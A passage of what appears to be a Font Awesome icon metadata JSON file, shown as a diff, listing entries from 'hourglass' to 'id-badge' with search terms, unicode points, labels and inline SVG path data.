"raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M368 48h4c6.627 0 12-5.373 12-12V12c0-6.627-5.373-12-12-12H12C5.373 0 0 5.373 0 12v24c0 6.627 5.373 12 12 12h4c0 80.564 32.188 165.807 97.18 208C47.899 298.381 16 383.9 16 464h-4c-6.627 0-12 5.373-12 12v24c0 6.627 5.373 12 12 12h360c6.627 0 12-5.373 12-12v-24c0-6.627-5.373-12-12-12h-4c0-80.564-32.188-165.807-97.18-208C336.102 213.619 368 128.1 368 48zM64 48h256c0 101.62-57.307 184-128 184S64 149.621 64 48zm256 416H64c0-101.62 57.308-184 128-184s128 82.38 128 184z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M368 48h4c6.627 0 12-5.373 12-12V12c0-6.627-5.373-12-12-12H12C5.373 0 0 5.373 0 12v24c0 6.627 5.373 12 12 12h4c0 80.564 32.188 165.807 97.18 208C47.899 298.381 16 383.9 16 464h-4c-6.627 0-12 5.373-12 12v24c0 6.627 5.373 12 12 12h360c6.627 0 12-5.373 12-12v-24c0-6.627-5.373-12-12-12h-4c0-80.564-32.188-165.807-97.18-208C336.102 213.619 368 128.1 368 48zM64 48h256c0 101.62-57.307 184-128 184S64 149.621 64 48zm256 416H64c0-101.62 57.308-184 128-184s128 82.38 128 184z" + } + }, + "free": [ + "solid", + "regular" + ] + }, + "hourglass-end": { + "changes": [ + "4.4", + "5.0.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "hour", + "minute", + "sand", + "stopwatch", + "time" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f253", + "label": "Hourglass End", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635548, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64zM192 208c-57.787 0-104-66.518-104-144h208c0 77.945-46.51 144-104 144z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64zM192 208c-57.787 0-104-66.518-104-144h208c0 77.945-46.51 144-104 144z" + } + }, + "free": [ + "solid" + ] + }, + "hourglass-half": { + "changes": [ + "4.4", + "5.0.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "hour", + "minute", + "sand", + "stopwatch", + "time" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f252", + "label": "Hourglass Half", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635548, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M360 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24zm-75.078 384H99.08c17.059-46.797 52.096-80 92.92-80 40.821 0 75.862 33.196 92.922 80zm.019-256H99.078C91.988 108.548 88 86.748 88 64h208c0 22.805-3.987 44.587-11.059 64z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M360 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24zm-75.078 384H99.08c17.059-46.797 52.096-80 92.92-80 40.821 0 75.862 33.196 92.922 80zm.019-256H99.078C91.988 108.548 88 86.748 88 64h208c0 22.805-3.987 44.587-11.059 64z" + } + }, + "free": [ + "solid" + ] + }, + "hourglass-start": { + "changes": [ + "4.4", + "5.0.0", + "5.10.1" + ], + "ligatures": [], + "search": { + "terms": [ + "hour", + "minute", + "sand", + "stopwatch", + "time" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f251", + "label": "Hourglass Start", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635548, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M360 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24zm-64 448H88c0-77.458 46.204-144 104-144 57.786 0 104 66.517 104 144z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M360 0H24C10.745 0 0 10.745 0 24v16c0 13.255 10.745 24 24 24 0 90.965 51.016 167.734 120.842 192C75.016 280.266 24 357.035 24 448c-13.255 0-24 10.745-24 24v16c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24 0-90.965-51.016-167.734-120.842-192C308.984 231.734 360 154.965 360 64c13.255 0 24-10.745 24-24V24c0-13.255-10.745-24-24-24zm-64 448H88c0-77.458 46.204-144 104-144 57.786 0 104 66.517 104 144z" + } + }, + "free": [ + "solid" + ] + }, + "house-damage": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "building", + "devastation", + "disaster", + "home", + "insurance" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6f1", + "label": "Damaged House", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635549, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M288 114.96L69.47 307.71c-1.62 1.46-3.69 2.14-5.47 3.35V496c0 8.84 7.16 16 16 16h149.23L192 439.19l104.11-64-60.16-119.22L384 392.75l-104.11 64L319.81 512H496c8.84 0 16-7.16 16-16V311.1c-1.7-1.16-3.72-1.82-5.26-3.2L288 114.96zm282.69 121.32L512 184.45V48c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v51.69L314.75 10.31C307.12 3.45 297.56.01 288 0s-19.1 3.41-26.7 10.27L5.31 236.28c-6.57 5.91-7.12 16.02-1.21 22.6l21.4 23.82c5.9 6.57 16.02 7.12 22.6 1.21L277.42 81.63c6.05-5.33 15.12-5.33 21.17 0L527.91 283.9c6.57 5.9 16.69 5.36 22.6-1.21l21.4-23.82c5.9-6.57 5.36-16.69-1.22-22.59z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M288 114.96L69.47 307.71c-1.62 1.46-3.69 2.14-5.47 3.35V496c0 8.84 7.16 16 16 16h149.23L192 439.19l104.11-64-60.16-119.22L384 392.75l-104.11 64L319.81 512H496c8.84 0 16-7.16 16-16V311.1c-1.7-1.16-3.72-1.82-5.26-3.2L288 114.96zm282.69 121.32L512 184.45V48c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v51.69L314.75 10.31C307.12 3.45 297.56.01 288 0s-19.1 3.41-26.7 10.27L5.31 236.28c-6.57 5.91-7.12 16.02-1.21 22.6l21.4 23.82c5.9 6.57 16.02 7.12 22.6 1.21L277.42 81.63c6.05-5.33 15.12-5.33 21.17 0L527.91 283.9c6.57 5.9 16.69 5.36 22.6-1.21l21.4-23.82c5.9-6.57 5.36-16.69-1.22-22.59z" + } + }, + "free": [ + "solid" + ] + }, + "house-user": { + "changes": [ + "5.13.0", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [ + "covid-19", + "home", + "isolation", + "quarantine" + ] + }, + "styles": [ + "solid" + ], + "unicode": "e065", + "label": "House User", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635551, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M570.69,236.27,512,184.44V48a16,16,0,0,0-16-16H432a16,16,0,0,0-16,16V99.67L314.78,10.3C308.5,4.61,296.53,0,288,0s-20.46,4.61-26.74,10.3l-256,226A18.27,18.27,0,0,0,0,248.2a18.64,18.64,0,0,0,4.09,10.71L25.5,282.7a21.14,21.14,0,0,0,12,5.3,21.67,21.67,0,0,0,10.69-4.11l15.9-14V480a32,32,0,0,0,32,32H480a32,32,0,0,0,32-32V269.88l15.91,14A21.94,21.94,0,0,0,538.63,288a20.89,20.89,0,0,0,11.87-5.31l21.41-23.81A21.64,21.64,0,0,0,576,248.19,21,21,0,0,0,570.69,236.27ZM288,176a64,64,0,1,1-64,64A64,64,0,0,1,288,176ZM400,448H176a16,16,0,0,1-16-16,96,96,0,0,1,96-96h64a96,96,0,0,1,96,96A16,16,0,0,1,400,448Z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M570.69,236.27,512,184.44V48a16,16,0,0,0-16-16H432a16,16,0,0,0-16,16V99.67L314.78,10.3C308.5,4.61,296.53,0,288,0s-20.46,4.61-26.74,10.3l-256,226A18.27,18.27,0,0,0,0,248.2a18.64,18.64,0,0,0,4.09,10.71L25.5,282.7a21.14,21.14,0,0,0,12,5.3,21.67,21.67,0,0,0,10.69-4.11l15.9-14V480a32,32,0,0,0,32,32H480a32,32,0,0,0,32-32V269.88l15.91,14A21.94,21.94,0,0,0,538.63,288a20.89,20.89,0,0,0,11.87-5.31l21.41-23.81A21.64,21.64,0,0,0,576,248.19,21,21,0,0,0,570.69,236.27ZM288,176a64,64,0,1,1-64,64A64,64,0,0,1,288,176ZM400,448H176a16,16,0,0,1-16-16,96,96,0,0,1,96-96h64a96,96,0,0,1,96,96A16,16,0,0,1,400,448Z" + } + }, + "free": [ + "solid" + ] + }, + "houzz": { + "changes": [ + "4.4", + "5.0.0", + "5.0.9", + "5.8.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f27c", + "label": "Houzz", + "voted": false, + "svg": { + "brands": { + "last_modified": 1558987775899, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M275.9 330.7H171.3V480H17V32h109.5v104.5l305.1 85.6V480H275.9z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M275.9 330.7H171.3V480H17V32h109.5v104.5l305.1 85.6V480H275.9z" + } + }, + "free": [ + "brands" + ] + }, + "hryvnia": { + "changes": [ + "5.4.0" + ], + "ligatures": [], + "search": { + "terms": [ + "currency", + "money", + "ukraine", + "ukrainian" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f6f2", + "label": "Hryvnia", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635552, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M368 240c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-41.86c13.41-28.63 13.74-63.33-4.13-94.05C303.34 49.84 267.1 32 229.96 32h-78.82c-24.32 0-47.86 8.53-66.54 24.09L72.83 65.9c-10.18 8.49-11.56 23.62-3.07 33.8l20.49 24.59c8.49 10.19 23.62 11.56 33.81 3.07l11.73-9.78c4.32-3.6 9.77-5.57 15.39-5.57h83.62c11.69 0 21.2 9.52 21.2 21.2 0 5.91-2.48 11.58-6.81 15.58L219.7 176H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h134.37l-34.67 32H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h41.86c-13.41 28.63-13.74 63.33 4.13 94.05C80.66 462.15 116.9 480 154.04 480h78.82c24.32 0 47.86-8.53 66.54-24.09l11.77-9.81c10.18-8.49 11.56-23.62 3.07-33.8l-20.49-24.59c-8.49-10.19-23.62-11.56-33.81-3.07l-11.75 9.8a23.992 23.992 0 0 1-15.36 5.56H149.2c-11.69 0-21.2-9.52-21.2-21.2 0-5.91 2.48-11.58 6.81-15.58L164.3 336H368c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H233.63l34.67-32H368z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M368 240c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16h-41.86c13.41-28.63 13.74-63.33-4.13-94.05C303.34 49.84 267.1 32 229.96 32h-78.82c-24.32 0-47.86 8.53-66.54 24.09L72.83 65.9c-10.18 8.49-11.56 23.62-3.07 33.8l20.49 24.59c8.49 10.19 23.62 11.56 33.81 3.07l11.73-9.78c4.32-3.6 9.77-5.57 15.39-5.57h83.62c11.69 0 21.2 9.52 21.2 21.2 0 5.91-2.48 11.58-6.81 15.58L219.7 176H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h134.37l-34.67 32H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h41.86c-13.41 28.63-13.74 63.33 4.13 94.05C80.66 462.15 116.9 480 154.04 480h78.82c24.32 0 47.86-8.53 66.54-24.09l11.77-9.81c10.18-8.49 11.56-23.62 3.07-33.8l-20.49-24.59c-8.49-10.19-23.62-11.56-33.81-3.07l-11.75 9.8a23.992 23.992 0 0 1-15.36 5.56H149.2c-11.69 0-21.2-9.52-21.2-21.2 0-5.91 2.48-11.58 6.81-15.58L164.3 336H368c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16H233.63l34.67-32H368z" + } + }, + "free": [ + "solid" + ] + }, + "html5": { + "changes": [ + "3.1", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f13b", + "label": "HTML 5 Logo", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860998, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 32l34.9 395.8L191.5 480l157.6-52.2L384 32H0zm308.2 127.9H124.4l4.1 49.4h175.6l-13.6 148.4-97.9 27v.3h-1.1l-98.7-27.3-6-75.8h47.7L138 320l53.5 14.5 53.7-14.5 6-62.2H84.3L71.5 112.2h241.1l-4.4 47.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M0 32l34.9 395.8L191.5 480l157.6-52.2L384 32H0zm308.2 127.9H124.4l4.1 49.4h175.6l-13.6 148.4-97.9 27v.3h-1.1l-98.7-27.3-6-75.8h47.7L138 320l53.5 14.5 53.7-14.5 6-62.2H84.3L71.5 112.2h241.1l-4.4 47.7z" + } + }, + "free": [ + "brands" + ] + }, + "hubspot": { + "changes": [ + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "f3b2", + "label": "HubSpot", + "voted": false, + "svg": { + "brands": { + "last_modified": 1546440860998, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M267.4 211.6c-25.1 23.7-40.8 57.3-40.8 94.6 0 29.3 9.7 56.3 26 78L203.1 434c-4.4-1.6-9.1-2.5-14-2.5-10.8 0-20.9 4.2-28.5 11.8-7.6 7.6-11.8 17.8-11.8 28.6s4.2 20.9 11.8 28.5c7.6 7.6 17.8 11.6 28.5 11.6 10.8 0 20.9-3.9 28.6-11.6 7.6-7.6 11.8-17.8 11.8-28.5 0-4.2-.6-8.2-1.9-12.1l50-50.2c22 16.9 49.4 26.9 79.3 26.9 71.9 0 130-58.3 130-130.2 0-65.2-47.7-119.2-110.2-128.7V116c17.5-7.4 28.2-23.8 28.2-42.9 0-26.1-20.9-47.9-47-47.9S311.2 47 311.2 73.1c0 19.1 10.7 35.5 28.2 42.9v61.2c-15.2 2.1-29.6 6.7-42.7 13.6-27.6-20.9-117.5-85.7-168.9-124.8 1.2-4.4 2-9 2-13.8C129.8 23.4 106.3 0 77.4 0 48.6 0 25.2 23.4 25.2 52.2c0 28.9 23.4 52.3 52.2 52.3 9.8 0 18.9-2.9 26.8-7.6l163.2 114.7zm89.5 163.6c-38.1 0-69-30.9-69-69s30.9-69 69-69 69 30.9 69 69-30.9 69-69 69z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M267.4 211.6c-25.1 23.7-40.8 57.3-40.8 94.6 0 29.3 9.7 56.3 26 78L203.1 434c-4.4-1.6-9.1-2.5-14-2.5-10.8 0-20.9 4.2-28.5 11.8-7.6 7.6-11.8 17.8-11.8 28.6s4.2 20.9 11.8 28.5c7.6 7.6 17.8 11.6 28.5 11.6 10.8 0 20.9-3.9 28.6-11.6 7.6-7.6 11.8-17.8 11.8-28.5 0-4.2-.6-8.2-1.9-12.1l50-50.2c22 16.9 49.4 26.9 79.3 26.9 71.9 0 130-58.3 130-130.2 0-65.2-47.7-119.2-110.2-128.7V116c17.5-7.4 28.2-23.8 28.2-42.9 0-26.1-20.9-47.9-47-47.9S311.2 47 311.2 73.1c0 19.1 10.7 35.5 28.2 42.9v61.2c-15.2 2.1-29.6 6.7-42.7 13.6-27.6-20.9-117.5-85.7-168.9-124.8 1.2-4.4 2-9 2-13.8C129.8 23.4 106.3 0 77.4 0 48.6 0 25.2 23.4 25.2 52.2c0 28.9 23.4 52.3 52.2 52.3 9.8 0 18.9-2.9 26.8-7.6l163.2 114.7zm89.5 163.6c-38.1 0-69-30.9-69-69s30.9-69 69-69 69 30.9 69 69-30.9 69-69 69z" + } + }, + "free": [ + "brands" + ] + }, + "i-cursor": { + "changes": [ + "4.4", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "editing", + "i-beam", + "type", + "writing" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f246", + "label": "I Beam Cursor", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635553, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M256 52.048V12.065C256 5.496 250.726.148 244.158.066 211.621-.344 166.469.011 128 37.959 90.266.736 46.979-.114 11.913.114 5.318.157 0 5.519 0 12.114v39.645c0 6.687 5.458 12.078 12.145 11.998C38.111 63.447 96 67.243 96 112.182V224H60c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h36v112c0 44.932-56.075 48.031-83.95 47.959C5.404 447.942 0 453.306 0 459.952v39.983c0 6.569 5.274 11.917 11.842 11.999 32.537.409 77.689.054 116.158-37.894 37.734 37.223 81.021 38.073 116.087 37.845 6.595-.043 11.913-5.405 11.913-12V460.24c0-6.687-5.458-12.078-12.145-11.998C217.889 448.553 160 444.939 160 400V288h36c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-36V112.182c0-44.932 56.075-48.213 83.95-48.142 6.646.018 12.05-5.346 12.05-11.992z\"/></svg>", + "viewBox": [ + "0", + "0", + "256", + "512" + ], + "width": 256, + "height": 512, + "path": "M256 52.048V12.065C256 5.496 250.726.148 244.158.066 211.621-.344 166.469.011 128 37.959 90.266.736 46.979-.114 11.913.114 5.318.157 0 5.519 0 12.114v39.645c0 6.687 5.458 12.078 12.145 11.998C38.111 63.447 96 67.243 96 112.182V224H60c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h36v112c0 44.932-56.075 48.031-83.95 47.959C5.404 447.942 0 453.306 0 459.952v39.983c0 6.569 5.274 11.917 11.842 11.999 32.537.409 77.689.054 116.158-37.894 37.734 37.223 81.021 38.073 116.087 37.845 6.595-.043 11.913-5.405 11.913-12V460.24c0-6.687-5.458-12.078-12.145-11.998C217.889 448.553 160 444.939 160 400V288h36c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-36V112.182c0-44.932 56.075-48.213 83.95-48.142 6.646.018 12.05-5.346 12.05-11.992z" + } + }, + "free": [ + "solid" + ] + }, + "ice-cream": { + "changes": [ + "5.7.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "chocolate", + "cone", + "dessert", + "frozen", + "scoop", + "sorbet", + "vanilla", + "yogurt" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f810", + "label": "Ice Cream", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635553, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M368 160h-.94a144 144 0 1 0-286.12 0H80a48 48 0 0 0 0 96h288a48 48 0 0 0 0-96zM195.38 493.69a31.52 31.52 0 0 0 57.24 0L352 288H96z\"/></svg>", + "viewBox": [ + "0", + "0", + "448", + "512" + ], + "width": 448, + "height": 512, + "path": "M368 160h-.94a144 144 0 1 0-286.12 0H80a48 48 0 0 0 0 96h288a48 48 0 0 0 0-96zM195.38 493.69a31.52 31.52 0 0 0 57.24 0L352 288H96z" + } + }, + "free": [ + "solid" + ] + }, + "icicles": { + "changes": [ + "5.6.0" + ], + "ligatures": [], + "search": { + "terms": [ + "cold", + "frozen", + "hanging", + "ice", + "seasonal", + "sharp" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f7ad", + "label": "Icicles", + "svg": { + "solid": { + "last_modified": 1628088635553, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M511.4 37.9C515.1 18.2 500 0 480 0H32C10.6 0-4.8 20.7 1.4 41.2l87.1 273.4c2.5 7.2 12.7 7.2 15.1 0L140 190.5l44.2 187.3c1.9 8.3 13.7 8.3 15.6 0l46.5-196.9 34.1 133.4c2.3 7.6 13 7.6 15.3 0l45.8-172.5 66.7 363.8c1.7 8.6 14 8.6 15.7 0l87.5-467.7z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M511.4 37.9C515.1 18.2 500 0 480 0H32C10.6 0-4.8 20.7 1.4 41.2l87.1 273.4c2.5 7.2 12.7 7.2 15.1 0L140 190.5l44.2 187.3c1.9 8.3 13.7 8.3 15.6 0l46.5-196.9 34.1 133.4c2.3 7.6 13 7.6 15.3 0l45.8-172.5 66.7 363.8c1.7 8.6 14 8.6 15.7 0l87.5-467.7z" + } + }, + "free": [ + "solid" + ] + }, + "icons": { + "changes": [ + "5.9.0" + ], + "ligatures": [], + "search": { + "terms": [ + "bolt", + "emoji", + "heart", + "image", + "music", + "photo", + "symbols" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f86d", + "label": "Icons", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635554, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M116.65 219.35a15.68 15.68 0 0 0 22.65 0l96.75-99.83c28.15-29 26.5-77.1-4.91-103.88C203.75-7.7 163-3.5 137.86 22.44L128 32.58l-9.85-10.14C93.05-3.5 52.25-7.7 24.86 15.64c-31.41 26.78-33 74.85-5 103.88zm143.92 100.49h-48l-7.08-14.24a27.39 27.39 0 0 0-25.66-17.78h-71.71a27.39 27.39 0 0 0-25.66 17.78l-7 14.24h-48A27.45 27.45 0 0 0 0 347.3v137.25A27.44 27.44 0 0 0 27.43 512h233.14A27.45 27.45 0 0 0 288 484.55V347.3a27.45 27.45 0 0 0-27.43-27.46zM144 468a52 52 0 1 1 52-52 52 52 0 0 1-52 52zm355.4-115.9h-60.58l22.36-50.75c2.1-6.65-3.93-13.21-12.18-13.21h-75.59c-6.3 0-11.66 3.9-12.5 9.1l-16.8 106.93c-1 6.3 4.88 11.89 12.5 11.89h62.31l-24.2 83c-1.89 6.65 4.2 12.9 12.23 12.9a13.26 13.26 0 0 0 10.92-5.25l92.4-138.91c4.88-6.91-1.16-15.7-10.87-15.7zM478.08.33L329.51 23.17C314.87 25.42 304 38.92 304 54.83V161.6a83.25 83.25 0 0 0-16-1.7c-35.35 0-64 21.48-64 48s28.65 48 64 48c35.2 0 63.73-21.32 64-47.66V99.66l112-17.22v47.18a83.25 83.25 0 0 0-16-1.7c-35.35 0-64 21.48-64 48s28.65 48 64 48c35.2 0 63.73-21.32 64-47.66V32c0-19.48-16-34.42-33.92-31.67z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M116.65 219.35a15.68 15.68 0 0 0 22.65 0l96.75-99.83c28.15-29 26.5-77.1-4.91-103.88C203.75-7.7 163-3.5 137.86 22.44L128 32.58l-9.85-10.14C93.05-3.5 52.25-7.7 24.86 15.64c-31.41 26.78-33 74.85-5 103.88zm143.92 100.49h-48l-7.08-14.24a27.39 27.39 0 0 0-25.66-17.78h-71.71a27.39 27.39 0 0 0-25.66 17.78l-7 14.24h-48A27.45 27.45 0 0 0 0 347.3v137.25A27.44 27.44 0 0 0 27.43 512h233.14A27.45 27.45 0 0 0 288 484.55V347.3a27.45 27.45 0 0 0-27.43-27.46zM144 468a52 52 0 1 1 52-52 52 52 0 0 1-52 52zm355.4-115.9h-60.58l22.36-50.75c2.1-6.65-3.93-13.21-12.18-13.21h-75.59c-6.3 0-11.66 3.9-12.5 9.1l-16.8 106.93c-1 6.3 4.88 11.89 12.5 11.89h62.31l-24.2 83c-1.89 6.65 4.2 12.9 12.23 12.9a13.26 13.26 0 0 0 10.92-5.25l92.4-138.91c4.88-6.91-1.16-15.7-10.87-15.7zM478.08.33L329.51 23.17C314.87 25.42 304 38.92 304 54.83V161.6a83.25 83.25 0 0 0-16-1.7c-35.35 0-64 21.48-64 48s28.65 48 64 48c35.2 0 63.73-21.32 64-47.66V99.66l112-17.22v47.18a83.25 83.25 0 0 0-16-1.7c-35.35 0-64 21.48-64 48s28.65 48 64 48c35.2 0 63.73-21.32 64-47.66V32c0-19.48-16-34.42-33.92-31.67z" + } + }, + "free": [ + "solid" + ] + }, + "id-badge": { + "changes": [ + "4.7", + "5.0.0", + "5.0.3" + ], + "ligatures": [], + "search": { + "terms": [ + "address", + "contact", + "identification", + "license", + "profile" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f2c1", + "label": "Identification Badge", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635554, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM144 32h96c8.8 0 16 7.2 16 16s-7.2 16-16 16h-96c-8.8 0-16-7.2-16-16s7.2-16 16-16zm48 128c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H102.4C90 416 80 407.4 80 396.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM144 32h96c8.8 0 16 7.2 16 16s-7.2 16-16 16h-96c-8.8 0-16-7.2-16-16s7.2-16 16-16zm48 128c35.3 0 64 28.7 64 64s-28.7 64-64 64-64-28.7-64-64 28.7-64 64-64zm112 236.8c0 10.6-10 19.2-22.4 19.2H102.4C90 416 80 407.4 80 396.8v-19.2c0-31.8 30.1-57.6 67.2-57.6h5c12.3 5.1 25.7 8 39.8 8s27.6-2.9 39.8-8h5c37.1 0 67.2 25.8 67.2 57.6v19.2z" + }, + "regular": { + "last_modified": 1628088634869, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M336 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zm0 464H48V48h288v416zM144 112h96c8.8 0 16-7.2 16-16s-7.2-16-16-16h-96c-8.8 0-16 7.2-16 16s7.2 16 16 16zm48 176c35.3 0 64-28.7 64-64s-28.7-64-64-64-64 28.7-64 64 28.7 64 64 64zm-89.6 128h179.2c12.4 0 22.4-8.6 22.4-19.2v-19.2c0-31.8-30.1-57.6-67.2-57.6-10.8 0-18.7 8-44.8 8-26.9 0-33.4-8-44.8-8-37.1 0-67.2 25.8-67.2 57.6v19.2c0 10.6 10 19.2 22.4 